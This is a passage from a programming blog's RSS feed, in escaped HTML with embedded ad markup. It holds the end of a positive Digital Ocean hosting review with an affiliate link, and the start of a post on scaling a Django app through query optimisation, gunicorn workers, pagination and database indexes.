src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755547643/Digital-Ocean-AI-models-available_t15vfg.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Digital Ocean Server Locations&#34; width=&#34;593&#34; height=&#34;684&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Check, you can get 1M tokens for just $1 USD for Deep Seek model.&lt;/p&gt;&#xA;&lt;p&gt;This is just awesome, no need to install Ollama, forget about renting a GPU or paying for a monthly plan on OpenAI, just pay for what you use. Perfection.&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-services-available-on-digital-ocean&#34;&gt;Other services available on Digital Ocean&lt;/h2&gt;&#xA;&lt;p&gt;Do you remember that IAAS and PAAS companies exist? Well, many IAAS companies, Digital Ocean included, have grown a lot and have started to provide PAAS type services. And, as you might expect.&lt;/p&gt;&#xA;&lt;p&gt;It has little time offering the integration and deployment of your applications using your Github or Gitlab repositories. You put the code on the table and they take care of compiling and running your project.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Digital-Ocean-Apps.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Digital-Ocean-Apps.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Apps Service&#34; width=&#34;1252&#34; height=&#34;767&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;s3-equivalent-in-digital-ocean&#34;&gt;S3 equivalent in Digital Ocean&lt;/h3&gt;&#xA;&lt;p&gt;Digital Ocean also offers CDN services, called spaces, compatible with Amazon&amp;rsquo;s S3 starting from $5 usd per month.&lt;/p&gt;&#xA;&lt;h3 id=&#34;kubernetes-clusters-in-do&#34;&gt;Kubernetes clusters in DO&lt;/h3&gt;&#xA;&lt;p&gt;Digital Ocean provides Kubernetes clusters with storage and load balancers with a few clicks.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-are-apps-for&#34;&gt;What are Apps for?&lt;/h3&gt;&#xA;&lt;p&gt;Apps are probably the most underrated service that DO offers, I have two of them running for free.&lt;/p&gt;&#xA;&lt;p&gt;The apps are similar to a serverless solution, you connect your github, gitlab or bitbucket account with digital Ocean and you can upload Node apps or static files for them to serve, you can even specify them to run the compilation or any command you want. This is, so far, &lt;strong&gt;the cheapest solution offered by Digital Ocean&lt;/strong&gt; and it is excellent for handling Frontend applications, they take care of CI/CD and it&amp;rsquo;s super cheap.&lt;/p&gt;&#xA;&lt;p&gt;Static sites get no extra cost and they run pretty well. In fact, this blog is running on one.&lt;/p&gt;&#xA;&lt;h3 id=&#34;volumes&#34;&gt;Volumes&lt;/h3&gt;&#xA;&lt;p&gt;They are extra space that you add to the droplets to increase their capacity, as if you were connecting an extra hard disk to them.&lt;/p&gt;&#xA;&lt;h3 id=&#34;databases&#34;&gt;Databases&lt;/h3&gt;&#xA;&lt;p&gt;Self-managed databases with automatic backups and optional encryption. Handles Postgres, MongoDB, MySQL and Redis.&lt;/p&gt;&#xA;&lt;h2 id=&#34;digital-ocean-vs-aws-vs-azure-which-one-is-better&#34;&gt;Digital Ocean vs AWS vs Azure which one is better?&lt;/h2&gt;&#xA;&lt;p&gt;Ah, the eternal question, but there is no correct answer, only trade-offs.&lt;/p&gt;&#xA;&lt;p&gt;Digital Ocean is a service focused more on small and medium projects, it does not have as many solutions as AWS or Azure.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, cccording to the content I studied for the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/&#34;&gt;Azure AZ-900 Certification&lt;/a&gt;&#xA;, Microsoft&amp;rsquo;s platform has a myriad of services, you name it.&lt;/p&gt;&#xA;&lt;p&gt;What other services? well, it does not have solutions in artificial intelligence for IT security analysis, big data analysis or other SaaS options. But, in exchange for these shortcomings that leave it up to developers, it offers much more competitive prices than the big players.&lt;/p&gt;&#xA;&lt;h2 id=&#34;my-experience-using-digital-ocean-so-far&#34;&gt;My experience using Digital Ocean so far&lt;/h2&gt;&#xA;&lt;p&gt;I have used Digital Ocean to host personal projects and also to manage my domains. I haven&amp;rsquo;t had any problems with down servers so far, or at least not that I&amp;rsquo;ve noticed or any user has brought it to my attention. In fact, right now you are reading this &lt;del&gt;from a Droplet using a headless Wordpress and frontend frontity (A React framework) served with Nginx&lt;/del&gt; Hugo and hosted at Digital Ocean. This blog uses &lt;del&gt;the cheapest service, the $5 usd&lt;/del&gt; the App service, which is completely free for static sites, and the truth is that for the &lt;del&gt;mediocre&lt;/del&gt; amount of traffic I have it doesn&amp;rsquo;t feel slow at all and has decent Lighthouse metrics, no caching of any kind or any sophistication.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Coffeebytes-lighthose-indicadores.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Coffeebytes-lighthose-indicadores.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Indicadores de Lighthose para coffeebytes.dev&#34; width=&#34;1228&#34; height=&#34;825&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;&lt;del&gt;It should be clarified that I did modify some things from the default settings to have a better performance. For example, enabling HTTP2, instead of the default HTTP, as well as installing the HTTP certificate using cerbot in the terminal, as the default installation did not include it. Extra tasks that other hosting services would have solved for me, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/my-experience-using-easywp-and-namecheap/&#34;&gt;easywp&lt;/a&gt;&#xA;.&lt;/del&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;summarizing-my-experience-using-do&#34;&gt;Summarizing my experience using DO&lt;/h2&gt;&#xA;&lt;p&gt;My experience has been quite good, I have no no complaints in terms of the performance they promise.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t want to mess with Apache, Nginx or any other server configurations, maybe a Droplet from Digital Ocean is not your best option.&lt;/p&gt;&#xA;&lt;p&gt;From my perspective, Digital Ocean offers one of the best costs to start a project; $3 usd for the most basic package (Apps) is an &lt;strong&gt;incredibly low price&lt;/strong&gt; for static or Frontend based pages only.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://m.do.co/c/a22240ebb8e7&#34;&gt;&#xA;    If you decide to try it, I&amp;#39;ll give you $200 USD to try and see for yourself what Digital Ocean has to offer, just click on this banner.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;</content:encoded>
      <summary>&lt;p&gt;I&amp;rsquo;ve been using Digital Ocean for my personal projects for several years, so Let me tell how it has been so far and what can of services you can find there.&lt;/p&gt;&#xA;&lt;h2 id=&#34;droplets-or-vps-on-digital-ocean&#34;&gt;Droplets or VPS on Digital Ocean&lt;/h2&gt;&#xA;&lt;p&gt;Droplets are my favorite resource in Digital Ocean. Droplets are virtual servers that are rented to you by hour. When you create a Droplet you can choose different operating systems and versions. You can access the terminal of any Droplet through its web page or through the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;ssh command&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to scale a Django app to serve one million users?</title>
      <link>https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/</link>
      <pubDate>Wed, 30 Dec 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/</guid>
      
      <category>software architecture</category>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Wish your Django app could handle a million hits? This post is a compilation of articles, books, and videos I&amp;rsquo;ve read on how to take a Django application to its maximum capabilities, I&amp;rsquo;ve even implemented some of these recommendations myself.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s also a good time to remember that if your application is just starting out, you probably &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/&#34;&gt;shouldn&amp;rsquo;t obsess about its performance&amp;hellip; yet&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reduce-slow-queries-in-django&#34;&gt;Reduce slow queries in Django&lt;/h2&gt;&#xA;&lt;p&gt;As you know, database access is usually the bottleneck of most applications. &lt;strong&gt;The most important action to take is to reduce the number of queries and the impact of each one of them&lt;/strong&gt;. You can reduce the impact of your queries by 90%, and I am not exaggerating.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;It is quite common to write code that occasions multiple queries to the database, as well as quite expensive searches.&lt;/p&gt;&#xA;&lt;p&gt;Identify what queries are being made in your application using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/jazzband/django-debug-toolbar&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;django-debug-toolbar&lt;/a&gt;&#xA; and reduce them, or make them more efficient:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;select_related&lt;/strong&gt; to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/differences-between-django-select_related-and-prefetch_related/&#34;&gt;avoid multiple searches in foreign key or one-to-one relationships&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;prefetch_related&lt;/strong&gt; to prevent excessive searches on many-to-many or many-to-one relationships&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;django_annotate&lt;/strong&gt; to add information to each object in a query. I have an entry where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-annotate-and-aggregate-explained/&#34;&gt;the difference between annotate and aggregate&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;django_aggregate&lt;/strong&gt; to process all information from a single query into a single data (summation, averages).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Object Q&lt;/strong&gt; to join queries by OR or AND directly from the database.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;F-Expressions&lt;/strong&gt; to perform operations at the database level instead of in Python code.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Annotate and subqueries&lt;/strong&gt; Be careful of the way Django uses &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/fix-slow-queries-in-django-when-using-annotate-and-subqueries/&#34;&gt;annotate and subqueries and write CTEs or raw SQL&lt;/a&gt;&#xA; if you need to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/images/django-debug-tool-bar-numero-queries.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/images/django-debug-tool-bar-numero-queries.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django debug tool bar showing the SQL queries of a Django request&#34; width=&#34;988&#34; height=&#34;458&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Django debug tool bar showing the SQL queries of a Django request&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Example of use with &lt;em&gt;select_related&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# review/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Review&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;list_reviews&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Review&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(product__id&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;product_id)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;select_related(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user&amp;#39;&lt;/span&gt;) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# We&amp;#39;re preventing a new query everytime we access review.user&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;configure-gunicorn-correctly&#34;&gt;Configure gunicorn correctly&lt;/h2&gt;&#xA;&lt;p&gt;Gunicorn is the most widely used Python WSGI HTTP server for Django applications. But it is not asynchronous, consider combining it with one of its asynchronous counterparts: hypercorn or uvicorn. The latter implements gunicorn workers.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-many-workers-should-gunicorn-use&#34;&gt;How many workers should gunicorn use?&lt;/h3&gt;&#xA;&lt;p&gt;Make sure you are using the correct gunicorn workers, according to the number of cores in your processor.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;They recommend setting the workers to (2 x number of cores) + 1. According to the documentation&#xA;&lt;strong&gt;with 4-12 workers you can serve from hundreds to thousands of requests per second&lt;/strong&gt;, so that should be enough for a medium to large scale website.&lt;/p&gt;&#xA;&lt;h2 id=&#34;improve-the-performance-of-your-serializers&#34;&gt;Improve the performance of your serializers&lt;/h2&gt;&#xA;&lt;p&gt;If you use DRF and use its generic classes to create serializers, you may not exactly be getting the best performance. The generic classes for serializers perform data validation, which can be quite time consuming if you are only going to read data.&lt;/p&gt;&#xA;&lt;p&gt;Even if you remembered to mark your fields as read_only, DRF serializers are not the fastest, you might want to check out &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://serpy.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Serpy&lt;/a&gt;&#xA;, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://marshmallow.readthedocs.io/en/stable/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Marshmallow&lt;/a&gt;&#xA;. The topic is quite broad, but stay with the idea that there is a major area of improvement in Django serializers.&lt;/p&gt;&#xA;&lt;p&gt;Take a look at this article that explains &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://hakibenita.com/django-rest-framework-slow&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;how some developers managed to reduce the time cost of serialization by 99%.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;use-pagination-in-your-views&#34;&gt;Use pagination in your views&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;It probably sounds pretty obvious, yet I feel I should mention it: you don&amp;rsquo;t need to return an entire database table if your user only finds the first few records useful.&lt;/p&gt;&#xA;&lt;p&gt;Use the &lt;em&gt;paginator&lt;/em&gt; object provided by Django, or limit the results of a search to a few.&lt;/p&gt;&#xA;&lt;p&gt;DRF also has an option to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.django-rest-framework.org/api-guide/pagination/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;paginate your results&lt;/a&gt;&#xA;, check it out.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# review/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.generic &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ListView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Review&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ReviewList&lt;/span&gt;(ListView): &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Review &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    paginate_by &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context_object_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;review_list&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;use-indexes-in-your-models&#34;&gt;Use indexes in your models&lt;/h2&gt;&#xA;&lt;p&gt;Understand your more complex queries and try to create indexes for them. The index will make your searches in Django faster, but it will also slow down, slightly, the creations and updates of new information, besides taking up a little more space in your database. Try to strike a healthy balance between speed and storage space used.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Review&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        db_index&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;use-indexes-for-your-searches&#34;&gt;Use indexes for your searches&lt;/h2&gt;&#xA;&lt;p&gt;If your application makes heavy use of information searches, consider using an efficient &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/&#34;&gt;search engine, such as Solr&lt;/a&gt;&#xA;, rather than implementing the code yourself.&lt;/p&gt;&#xA;&lt;p&gt;There are many options available:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ElasticSearch&lt;/li&gt;&#xA;&lt;li&gt;Solr&lt;/li&gt;&#xA;&lt;li&gt;Whoosh&lt;/li&gt;&#xA;&lt;li&gt;Xapian&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;remove-unused-middleware&#34;&gt;Remove unused middleware&lt;/h2&gt;&#xA;&lt;p&gt;Each middleware implies an extra step in each web request, so removing all those middlewares that you do not use will mean a slight improvement in the response speed of your application.&lt;/p&gt;&#xA;&lt;p&gt;Here are some common middleware that are not always used: messages, flat pages and localization, no, I don&amp;rsquo;t mean geographic location, but translating the content according to the local context.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 